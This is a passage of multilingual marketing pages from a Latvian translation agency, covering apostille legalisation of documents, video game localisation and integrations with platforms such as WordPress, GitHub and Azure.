pielāgošanu mērķauditorijai. Jūs māc šaubas, vai jūsu esošie teksti būs gana iedarbīgi un lasītāju uzrunājoši? Skrivanek tekstu autori Latvijā, Igaunijā, Lietuvā, Polijā, Vācijā un citās Eiropas un pasaules valstīs palīdzēs pārvarēt valodas barjeru un tikt sadzirdētiem. Atcerieties, ka katrs produkts un situācija ir unikāla un ir jārod maksimāli pielāgots risinājums. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikāti Mūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā 99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu --- > Nepieciešama dokumentu īstuma apliecināšana / legalizācija ar apostille? Sazinies ar mums un saņem bezmaksas cenas aprēķinu 30 minūtēs! 🕒 - Published: 2024-03-15 - Modified: 2025-06-17 - URL: https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/ - Translation Priorities: Optional ĀRVALSTĪS IZSNIEGTU DOKUMENTU IZMANTOŠANA LATVIJAS REPUBLIKĀ Ja dokuments ir izsniegts ārvalstī, kura ir 1961. gada Hāgas konvencijas “Par ārvalstu publisko dokumentu legalizācijas prasības atcelšanu” dalībvalsts, tā īstumam ir jābūt apliecinātam ar apostille izdevējvalsts kompetentajā institūcijā. Šādi apliecinātu dokumentu vairs nav nepieciešams atkārtoti apliecināt ar apostille Latvijas Republikā, jo Grieķijā vienreiz ar apostille apliecināts dokuments būs derīgs gan, piemēram, Latvijā, gan Polijā un citās vairāk nekā 100 Hāgas konvencijas dalībvalstīs. Saskaņā ar Hāgas konvencijas par ārvalstu publisko dokumentu legalizācijas prasības atcelšanu 1. pantu konvencija nav piemērojama dokumentiem, ko izdevuši diplomātiskie vai konsulārie darbinieki. Šādus dokumentus var legalizēt ar apostille attiecīgajā vēstniecībā, kur izņemts dokuments, kā arī Ārlietu ministrijas Konsulārajā departamentā. LATVIJAS REPUBLIKĀ IZSNIEGTU DOKUMENTU IZMANTOŠANA ĀRVALSTĪS Kopš 2019. gada 1. jūlija Latvijā izdotu publisku dokumentu, kas paredzēti izmantošanai valstī, kas ir 1961. gada Hāgas konvencijas dalībvalsts, legalizāciju ar Apostille veic zvērināts notārs. Publiski dokumenti ir, piemēram, skolu un augstskolu diplomi, dzimšanas apliecības, izziņas par nesodāmību, laulības apliecības, izziņa par cilvēka veselības stāvokli u. tml. , arī pilnvara, kas izdota Latvijā un izmantojama kādā citā valstī. Ja dokuments ir izdots Latvijā, un to ir paredzēts izmantot valstī, kas nav Hāgas konvencijas dalībvalsts, to vispirms nepieciešams legalizēt Latvijas Republikas Ārlietu ministrijas Konsulārajā departamentā. Turklāt elektroniski izsniegtus dokumentus pie zvērinātiem notāriem iespējams apostillēt arī attālināti. NODERĪGI PADOMI PAR DOKUMENTU SAGATAVOŠANU Lai veiktu notariāli apliecinātu tulkojumu, ir nepieciešams pilnībā noformēts un juridiski spēkā esošs dokuments. Dokumentā ir jābūt šādai informācijai: dokumenta autora nosaukums; dokumenta izveides datums; dokumenta izveides, izdošanas un parakstīšanas vietas nosaukums; paraksts (-i). Papildu informāciju par dokumentu noformēšanu meklējiet 2010. gada 28. septembra Ministru Kabineta noteikumos Nr. 916 “Dokumentu izstrādāšanas un noformēšanas noteikumi”. Lai apliecinātu dokumenta kopiju, ir noteikti nepieciešams dokumenta oriģināls, lai to varētu iesniegt notāram. NEPIECIEŠAMA DOKUMENTA LEGALIZĀCIJA AR APOSTILLI? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par dokumentu īstuma apliecināšanu (apostille) jau tūlīt! KAS IR APOSTILLE? Tulkošanas biroji nereti saskaras ar oficiālu publisku dokumentu tulkošanu. Šādos gadījumos ir nepieciešams apstiprinājums, ka dokumentu parakstījusī amatpersona patiešām strādā Latvijā un ka šīs amatpersonas paraksts un zīmogs uz dokumenta ir īsts. Tādējādi dokumentiem vienā valstī ir tāds pats juridisks spēks kā citā valstī. Šis process būtiski vienkāršojies līdz ar Hāgas konvenciju. Ja dokuments ir izsniegts ārvalstī, kas ir 1961. gada 5. oktobra Hāgas konvencijas “Par ārvalstu publisko dokumentu legalizācijas prasības atcelšanu” dalībvalsts, nepieciešama dokumentu īstuma apliecināšana ar īpašu atzīmi – Apostille – izdevējvalsts kompetentajā institūcijā, bet vienreiz ar Apostille apliecinātu dokumentu nav nepieciešams apliecināt atkārtoti vairāk nekā 100 Hāgas konvencijas dalībvalstīs. Tātad dokuments būs derīgs gan Latvijā, gan Spānijā, Portugālē, Kanādā un citās valstīs. Latvijas Republikā Hāgas konvencija stājās spēkā 1996. gada 30. janvārī. KĀDIEM DOKUMENTIEM NEPIECIEŠAMA LEGALIZĀCIJA AR APOSTILLE? Dokumentu īstuma apliecināšana ar Apostille kļūst aktuāla dažādās situācijās, ko pieredzam dzīves laikā, piemēram, cilvēks pārceļas uz dzīvi citā valstī, dodas strādāt vai mācīties uz ārzemēm, vēlas slēgt vai šķirt laulību ar citas valsts pilsoni, atvērt bankas kontu, kārtot ar mantojumu saistītus dokumentus citā valstī u. tml. Tātad visbiežāk tiek apliecināti tādi publiski dokumenti kā dzimšanas apliecība, laulības apliecība, izglītību apliecinoši diplomi, izziņas par nesodāmību un veselības stāvokli, dažādas valsts izdotas pilnvaras u. c. dokumenti. KĀ NORIS DOKUMENTA LEGALIZĀCIJA AR APOSTILLE? Iepriekš Latvijā izdotu publisku dokumentu autentiskuma apliecināšanu ar Apostille veica tikai Latvijas Republikas Ārlietu ministrijas Konsulārajā departamentā, bet kopš 2019. gada 1. jūlija to dara zvērināti notāri visā Latvijā, turklāt elektroniski izsniegtus dokumentus iespējams apostillēt arī attālināti/elektroniski. Ja nepieciešama publisku dokumentu legalizācija, ieteicams, pirms došanās uz jebkuru ārvalsti, kur kādā iestādē būs jāiesniedz oficiāls dokuments, laicīgi noskaidrot, vai nepieciešama tā apliecināšana ar Apostille, jo dažkārt pietiek ar notariāli apliecinātu vai biroja apliecinātu tulkojumu. Tāpat arī jāņem vērā, ka zvērināts notārs var apostillēt tikai Latvijas Republikā izdotus dokumentus. Pats process noris vienkārši un ātri: jādodas pie notāra, līdzi ņemot dokumenta oriģinālu un pasi vai ID karti, ja Paraksta paraugu datubāzē ir dokumentu izsniegušās amatpersonas paraksta un zīmoga nospieduma paraugs, dokumenta apliecināšanu iespējams nokārtot vienas darbadienas laikā. Šo uzdevumu var uzticēt arī profesionālam tulkošanas birojam, kas par visu šo procesu parūpēsies jūsu vietā, tādējādi jums nebūs jāapmeklē zvērināts notārs uz vietas, jo tulkošanas birojs var noorganizēt gan notariālu apliecinājumu, gan Apostille. --- > Вам нужна аутентификация / легализация с проставлением апостиля? Свяжитесь с нами и получите бесплатное предложение за 30 минут! 🕒 - Published: 2024-03-15 - Modified: 2024-11-12 - URL: https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/ - Translation Priorities: Optional ИСПОЛЬЗОВАНИЕ ДОКУМЕНТОВ, ВЫДАННЫХ ЗА ГРАНИЦЕЙ, В ЛАТВИЙСКОЙ РЕСПУБЛИКЕ Если документ выдан в стране – участнице Гаагской конвенции от 1961 года, отменяющей требование легализации иностранных официальных документов, его подлинность должно заверить апостилем компетентное учреждение данного иностранного государства. Подготовленный таким образом документ больше не нужно повторно заверять апостилем в Латвийской Республике, так как однажды в Греции заверенный апостилем документ будет иметь силу и, например, в Латвии, и в Польше, и в других – более ста странах – участницах Гаагской конвенции. ИСПОЛЬЗОВАНИЕ ДОКУМЕНТОВ, ВЫДАННЫХ В ЛАТВИЙСКОЙ РЕСПУБЛИКЕ, ЗА ГРАНИЦЕЙ Легализацию апостилем публичного, выданного в Латвии документа, предназначенного для использования в стране – участнице Гаагской конвенции от 1961 года, с 1 июля 2019 года осуществляет нотариус. Публичными документами являются, например, дипломы об окончании школы и вуза, свидетельства о рождении, справки об отсутствии судимости, свидетельства о браке, справки о состоянии здоровья человека и т. д. , а также выданная в Латвии доверенность, которая будет использоваться в другой стране. Документы, выданные в электронном виде, заверить апостилем присяжные нотариусы могут и отдаленно. ПОЛЕЗНЫЕ СОВЕТЫ ПО ПОДГОТОВКЕ ДОКУМЕНТОВ Чтобы получить нотариально заверенный перевод, необходимо предоставить полностью оформленный документ, имеющий юридическую силу. Документ должен содержать следующую информацию (реквизиты): наименование автора документа; дата составления документа; название места составления, выдачи и подписания документа; подпись (подписи). Дополнительную информацию об оформлении документов можно найти в правилах Кабинета министров № 916 от 28 сентября 2010 г. «Порядок разработки и оформления документов». Для заверки копии требуется оригинал, который будет передан нотариусу. НЕОБХОДИМА ЛЕГАЛИЗАЦИЯ ДОКУМЕНТА АПОСТИЛЕМ? СВЯЖИТЕСЬ С НАМИ! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить --- > Need document authentication / legalisation with apostille? Contact us and get a free quote in 30 minutes! 🕒 - Published: 2024-03-15 - Modified: 2025-06-16 - URL: https://skrivanek.lv/dokumentu-istuma-apliecinasana-apostille/ - Translation Priorities: Optional, Optional USE OF DOCUMENTS ISSUED ABROAD IN THE REPUBLIC OF LATVIA If the document was issued in a country which is a party to the 1961 Hague Convention Abolishing the Requirement of Legalisation for Foreign Public Documents, its authenticity must be certified by an Apostille by the competent foreign authority. There is no need for a double-certification of a document with an Apostille Certificate in the Republic of Latvia because a document certified by an Apostille in Greece will be valid in e. g. Latvia, Poland and more than 100 countries which are parties to the Hague Convention. According to Article 1 of the Convention of 5 October 1961 Abolishing the Requirement of Legalisation for Foreign Public Documents, the Convention does not apply to documents issued by diplomatic or consular agents. Such documents may be legalised with an Apostille at the embassy where the document was issued and at the Consular Department of the Ministry of Foreign Affairs. USE OF DOCUMENTS ISSUED IN THE REPUBLIC OF LATVIA ABROAD From 1 July 2019, certification of public documents issued in Latvia intended for use in a country that is a party to the 1961 Hague Convention by an Apostille is performed by a sworn notary. Public documents are e. g. school and university diplomas, birth certificates, criminal record certificates, marriage certificates, health certificates etc. , as well as power of attorney, which are issued in Latvia and intended for use abroad. Furthermore, it is possible to certify electronically issued documents by a sworn notary remotely. USEFUL TIPS FOR PREPARING DOCUMENTS In order to prepare a notary-certified translation, a fully executed and legally valid document is required. The document must contain the following information: name of the document’s author; date of the document’s creation; name of the place of creation, issue, and signing of the document; signature(-s). For additional information on drawing up documents, please refer to Cabinet Regulations No. 916, “Procedures for the Elaboration and Design of Documents”, of 28 September, 2010. In order to certify a copy of the document at a notary, the original document is required. DO YOU NEED A DOCUMENT LEGALISATION WITH AN APOSTILLE? CONTACT US! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation to find out more about chatbot options now! --- > Panākumu atslēga starptautiskā videospēļu tirgū – videospēļu lokalizācija. Piesakieties konsultācijai, ja vēlaties detalizētāk pārrunāt jūsu projektu! - Published: 2024-03-11 - Modified: 2025-07-07 - URL: https://skrivanek.lv/videospelu-lokalizacija/ - Translation Priorities: Optional Lai sasniegtu pēc iespējas plašāku videospēļu cienītāju loku, veiksmīga lokalizācija ir viens no svarīgākajiem aspektiem. Mēs, Skrivanek Baltic, rūpējamies, lai videospēļu saturs būtu ne tikai tulkots lieliskā kvalitātē, bet arī pielāgots vietējam tirgum, nojaucot kultūras un valodu atšķirību barjeras. KĀPĒC IZVĒLĒTIES SKRIVANEK? Nozares eksperti. Mūsu tulkotāji ir valodniecības profesionāļi, kā arī aizrautīgi videospēļu cienītāji, sniedzot kvalitatīvu, rūpīgi pielāgotu pakalpojumu. Kultūras atšķirības. Mēs pielāgojam tekstu, lai tas nebūtu mehāniski iztulkots, bet gan pārveidots tādā veidā, kas uzrunā mērķa valodā runājošos spēlētājus. Ātra darbu izpilde. Tulkošanu veicam efektīvi, tādēļ videospēles izstrāde netiks kavēta. Kvalitātes pārbaude. Nemitīga kvalitātes pārbaude nodrošina precizitāti – it īpaši atslēgas terminu lietošanā – un aizraujošu spēlēšanas pieredzi. Ja vēlaties jūsu videospēlei nodrošināt dažādu valodu atbalstu, tad sazinieties ar mums – atradīsim labāko risinājumu! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par videospēļu lokalizāciju jau tūlīt! Lai sasniegtu pēc iespējas plašāku videospēļu cienītāju loku, veiksmīga lokalizācija ir viens no svarīgākajiem aspektiem. Mēs, Skrivanek Baltic, rūpējamies, lai videospēļu saturs būtu ne tikai tulkots lieliskā kvalitātē, bet arī pielāgots vietējam tirgum, nojaucot kultūras un valodu atšķirību barjeras. KĀPĒC IZVĒLĒTIES SKRIVANEK? Nozares eksperti. Mūsu tulkotāji ir valodniecības profesionāļi, kā arī aizrautīgi videospēļu cienītāji, sniedzot kvalitatīvu, rūpīgi pielāgotu produktu. Kultūras atšķirības. Mēs pielāgojam tekstu, lai tas nebūtu mehāniski iztulkots, bet gan pārveidots tādā veidā, kas uzrunā mērķa valodā runājošos spēlētājus. Ātra darbu izpilde. Tulkošanu veicam efektīvi, tādēļ videospēles izstrāde netiks kavēta. Kvalitātes pārbaude. Nemitīga kvalitātes pārbaude nodrošina precizitāti – it īpaši atslēgas terminu lietošanā – un aizraujošu spēlēšanas pieredzi. Ja vēlaties jūsu videospēlei nodrošināt dažādu valodu atbalstu, tad sazinieties ar mums – atradīsim labāko risinājumu! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt E-pasts *Ziņa Pievienot Noņemt Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par videospēļu lokalizāciju jau tūlīt! KAS IETILPST VIDEOSPĒĻU TULKOŠANĀ? Īsumā – spēļu tulkošana sevī ietver spēlē iekļautā satura un ieskaņotā skaņas celiņa pielāgošanu no vienas valodas citā valodā. Videospēles satura tulkošana neaprobežojas tikai ar titriem, kas lasāmi, kad tēli uzrunā cits citu. Tāpat var pielāgot diska kārbiņā iekļautos materiālus, instrukcijas, pakalpojuma lietošanas nosacījumus un daudz ko citu – arī informatīvos materiālus, reklamējot spēli mērķa valodā. Ne visi pārzina avota valodu, kurā ir izstrādāta videospēle – visbiežāk angļu. To nepārvaldot labi vai itin nemaz, pastāv liela iespēja, ka spēlētāji nespētu līdz galam izbaudīt spēlēšanas pieredzi vai arī vispār neiegādātos spēli. Taču videospēli lokalizējot dažādās valodās, iespējams vairot interesi par spēli arī reģionos, kur labprātāk videospēles baudītu tikai dzimtajā valodā. KĀPĒC IR VĒRTS LOKALIZĒT VIDEOSPĒLES? Pārliecinoties, ka teksts, varoņu teiktais un pat attēli videospēlēs ir precīzi lokalizēti katram reģionam, uzņēmumi sniedz iespēju šī izklaides žanra cienītājiem no visas pasaules pilnībā izbaudīt spēles viņu dzimtajā valodā. Šādi tiek sniegtas priekšrocības gan lietotājiem, gan spēļu izstrādātājiem. Tiek paplašināts lietotāju loks. Lokalizācija palīdz uzrunāt jaunus spēlētājus, kas spēli oriģinālajā valodā nebūtu iegādājušies. Papildu apgrozījums. Pārdodot garadarbu jaunā tirgū un reģionā, iespējams paaugstināt videospēles pārdošanas apjomus un līdz ar to arī peļņu. Kultūras paražām atbilstoši. Ar lokalizācijas palīdzību spēle var tikt pielāgota dažādu reģionu kultūras paražām, lai efektīvāk rezonētu ar spēlētājiem. Patīkama spēlēšanas pieredze. Spēļu lokalizācija var uzlabot spēlētāju pieredzi, samazinot valodas barjeru un padarot spēli uztveramāku un aizraujošāku. KĀ MĒS VEICAM VIDEOSPĒĻU LOKALIZĀCIJU? Tulkošana ir vien neliela daļa no videospēļu lokalizācijas procesa. Lūk, daži svarīgākie aspekti, kam veltām uzmanību, lai nodrošinātu lielisku kvalitāti. Tulkošana. Pirmais un svarīgākais solis, pielāgojot saturu mērķa tirgus valodai un tās īpatnībām. Rediģēšana un korektūra. Tulkotais materiāls tiek pārbaudīts, precizējot terminus un izlabojot drukas kļūdas. Valodas kvalitātes kontrole. Pirms sniedzam materiālu integrēšanai videospēlē, tulkojuma precizitāte tiek pārbaudīta un testēta. Pielāgošana. Šajā solī tiek veiktas tehniskas manipulācijas, lai tulkojumu varētu atainot pašā spēlē. Tāpat veicam vizuālo elementu labojumus, lai pārliecinātos, ka saturs tiks precīzi atainots. Pielāgošana konkrētajam reģionam. Dažās valstīs ir aizliegti dažādi videospēļu elementi. Piemēram, asinis, galvaskausi vai reliģiski simboli. Ja netiek veiktas izmaiņas, videospēle reģionā var tikt pilnībā aizliegta. Tāpat arī jāapsver, cik lielā mērā konkrētajā reģionā ir pieņemts atainot vardarbību vai seksuāla rakstura saturu. Audio satura lokalizācija. Kad satura lokalizācija ir pabeigta, tiek atlasīti ieskaņotāji jeb aktieri, kas iejutīsies videospēles varoņu lomās, veikta audio satura ierakstīšana, pārbaude, lai pārliecinātos, ka materiāls atbilst vietējam dialektam un akcentiem. KĀ NORIS SPĒĻU LOKALIZĀCIJA SOLI PA SOLIM? Veicot videospēļu lokalizāciju, procesā iesaistās valodnieki, kuriem mērķa valoda ir dzimtā. Šādā veidā parūpējamies, ka gala rezultāts būs spēlētājiem patīkams un izprotams, pielāgojot tekstu attiecīgo tēlu valodas stila līmenim - tie runā gluži kā “vietējie” personāži. Lūk, soļi, kādi tiek veikti, lai nonāktu līdz kvalitatīvai videospēles lokalizācijai. Klients iesūta tekstu un stila vadlīnijas. Vienojamies par darbu izpildes termiņiem. Projekta vadītāji pārveido saņemtās datnes tulkošanas vajadzībām un tās izsūta lokalizācijas darbu izpildītājiem. Tulkotāji sāk darbu un papildus arī: ņem vērā stila vadlīnijas, fiksējot atsevišķā datnē tēlu un atrašanās vietu nosaukumus, lai ievērotu vienotu stilu; sazinās ar klientu aptaujas vai saziņas lietotnes veidolā, lai noskaidrotu avota valodā fiksētās nianses un spētu tās atveidot citā valodā. Tulkotājs vai tulkotāji pabeidz darbu un ir pienācis laiks neatkarīgai tehniskai un gramatikas pārbaudei. Pēc gramatikas un stilistikas “blusiņu” izķeršanas, ja tādas ir, tekstam tiek veikta kvalitātes kontrole. Materiāls ir pilnībā pārtulkots un pārbaudīts. Tagad varam to nosūtīt klientam. Klients pārbauda jauno valodas lokalizāciju pašā spēlē un dalās ar saviem iespaidiem. Ja ir nepieciešamas izmaiņas, mēs tās veicam. Pēc iespējamo izmaiņu veikšanas tulkošanas process ir noslēdzies. --- > Le più recenti soluzioni tecnologiche linguistiche per l'ecosistema e l'integrazione sono ideali per progetti con grandi volumi di contenuti multilingue. - Published: 2024-02-13 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/ L’ECOSISTEMA DELLA TRADUZIONE DI SKRIVANEK - INTEGRAZIONI ALL'AVANGUARDIA Nell'odierna era digitale, lingua e tecnologia sono strettamente collegati, tanto è che traduzione e localizzazione non sono più concepibili senza il supporto dell’informatica. Di conseguenza, professionisti provenienti da diversi settori, come traduttori, programmatori, creatori di contenuti ed esperti di marketing, si ritrovano a lavorare nello stesso ambiente di lavoro digitale. Gli ultimi sviluppi della tecnologia del linguaggio sono perfetti per la gestione di grandi volumi di contenuti multilingue. Le seguenti sono le integrazioni all’ecosistema della traduzione più diffuse con cui lavoriamo quotidianamente: WORDPRESS Integrando gli strumenti di traduzione assistita di Skrivanek con WordPress è possibile garantire, in modo semplice, comodo e moderno, la traduzione e la localizzazione dei contenuti di un sito web in lingue diverse bypassando inoltre il lungo lavoro manuale. Grazie alla nostra cooperazione con WPML, siamo in grado di occuparci anche dei progetti di traduzione più complessi, non importa quale sia la lingua. Rendete il vostro sito web accessibile ai visitatori di tutto il mondo senza modificare il vostro solito ambiente di sviluppo WordPress. GITHUB L'integrazione delle tecnologie di traduzione di Skrivanek con GitHub è un modo per evitare di preoccuparsi della localizzazione del testo della propria app e di concentrarsi invece su ciò che conta, ossia il suo miglioramento e programmazione. Noi ci assicureremo invece che l'app sia disponibile in tutte le lingue di arrivo. L’archivio è monitorato in maniera indipendente e tutte le aggiunte sono trasferite automaticamente al nostro sistema di traduzione. In questo modo potete avere la sicurezza che, al momento della pubblicazione, l’app sarà disponibile in tutte le lingue che volete. MICROSOFT AZURE Azure è la piattaforma cloud di Microsoft e fornisce risorse per lo sviluppo, gestione e pubblicazione di app di diverso tipo. I sistemi di traduzione di Skrivanek si collegano facilmente con gli archivi di file di Azure, riuscendo così a scaricare e caricare automaticamente i file da tradurre. I nostri sistemi di traduzione possono identificare automaticamente anche le più piccole modifiche apportate agli archivi online e aggiungere in automatico i file al nostro flusso di lavoro di traduzione proprietario. Il dispendioso scambio di informazioni via e-mail è quindi un lontano ricordo. Voi dovrete solo caricare i file da tradurre nell’archivio online e in un batter d’occhio riceverete nello stesso archivio i file tradotti. MICROSOFT ONEDRIVE Microsoft OneDrive è un servizio di archiviazione di documenti su cloud. I sistemi di traduzione di Skrivanek si collegano a OneDrive, permettendo di scaricare automaticamente i file da tradurre e di caricare le traduzioni direttamente sul desktop. Il dispendioso scambio di informazioni via e-mail è quindi un lontano ricordo. Voi dovrete solo caricare i file da tradurre nell’archivio online e noi faremo in modo che riceverete nello stesso archivio i file tradotti in un batter d’occhio. MICROSOFT SHAREPOINT Microsoft SharePoint è una soluzione cloud per l'archiviazione e la condivisione di file di diverse tipologie. I sistemi di traduzione di Skrivanek rendono lo scaricare e caricare i file negli archivi di SharePoint facile e veloce. Potrete quindi stare sicuri che tutti i membri del vostro team potranno accedere facilmente ai documenti nella lingua di cui hanno bisogno e scordarvi del dispendioso scambio di documenti via email. Voi dovrete solo caricare i file da tradurre nell’archivio online di SharePoint e noi faremo in modo che in un batter d’occhio potrete lavorare con i file tradotti che troverete nello stesso archivio online. GOOGLE DRIVE L'integrazione dei sistemi di traduzione di Skrivanek con Google Drive è un modo molto comodo e semplice per rendere disponibili i contenuti archiviati in Google Drive a un pubblico più vasto. Collegando i sistemi di traduzione a Google Drive, è possibile scaricare i file di partenza e caricare quelli tradotti direttamente nell’archivio personale e condiviso. Grazie all'integrazione dei sistemi di traduzione di Skrivanek con Google Drive, non dovrete preoccuparvi di scambiare file tramite e-mail o servizi cloud di terze parti. DROPBOX Sincronizzate le cartelle, i file e i progetti del vostro spazio di archiviazione cloud di Dropbox con il sistema di traduzione di Skrivanek. In questo modo potrete inviare i file da tradurre e ricevere documenti tradotti direttamente sul vostro desktop. Il sistema di traduzione di Skrivanek rileva automaticamente quando nuovi file vengono aggiunti alle cartelle di documenti o quando vengono apportate modifiche a file già esistenti. I file vengono inseriti automaticamente all’interno del flusso di lavoro di traduzione e poi, una volta tradotti, sono caricati nella cartella di file appropriata. AMAZON S3 Mantieni i documenti da tradurre organizzati, accessibili e aggiornati. Il sistema di traduzione di Skrivanek rileva automaticamente le modifiche apportate ai file e li inserisce nel flusso di lavoro di traduzione. A traduzione eseguita, i documenti saranno automaticamente caricati nel vostro archivio di Amazon S3. Il lungo e complicato scambio di documenti via email? Solo un lontano ricordo. JIRA Collegate facilmente il vostro sistema di ticketing di Jira Service Desk al sistema di traduzione di Skrivanek e ricevete immediatamente le traduzioni nel vostro ambiente Jira. ZENDESK Migliora l'elaborazione dei ticket di assistenza e la cooperazione con i clienti internazionali. Il sistema di traduzione di Skrivanek può essere integrato con il sistema di help desk di Zendesk in modo semplice e comodo. In questo modo è possibile tradurre le categorie dei ticket di Zendesk, i contenuti, gli articoli pubblicati e le sezioni. ADOBE COMMERCE Gestisci la tua attività creando descrizioni di prodotti, contenuti per cataloghi, pagine di fatturazione e altre tipologie di contenuti nelle lingue dei tuoi clienti. È possibile integrare il sistema di traduzione di Skrivanek con i sistemi Magento Open Source e Magento Commerce. ANDROID STUDIO Grazie all’integrazione del sistema di traduzione di Skrivanek con Android Studio, lo sviluppo di app multilingue non è mai stato così facile. Invia automaticamente il testo da tradurre dall’ambiente di sviluppo dell’app e ricevi la relativa traduzione. In questo modo potete avere la sicurezza che, al momento della pubblicazione, l’app sarà disponibile in tutte le lingue che volete. DRUPAL Volete raggiungere un pubblico più vasto? Traducete il vostro sito web Drupal con il sistema di traduzione di Skrivanek. Il nostro sistema di traduzione si integra pienamente con il vostro sito web Drupal, così anche i contenuti più recenti del vostro sito web possano essere resi disponibili in modo facile e veloce in diverse lingue. GITLAB Ottimizza il processo di sviluppo di software inviando automaticamente i contenuti da tradurre al sistema di traduzione di Skrivanek. Il codice sorgente del software è monitorato indipendentemente e tutte le aggiunte sono trasferite automaticamente al nostro sistema di traduzione. In questo modo potete avere la sicurezza che, al momento della pubblicazione, l’app sarà disponibile in tutte le lingue che volete. Qualità e riservatezza garantite dai certificati ISOI nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un’offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole VOLETE SAPERNE DI PIÙ SU COME SKRIVANEK PUÒ AIUTARVI A LAVORARE IN MODO PIÙ INTELLIGENTE? CONTATTATECI! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia --- - Published: 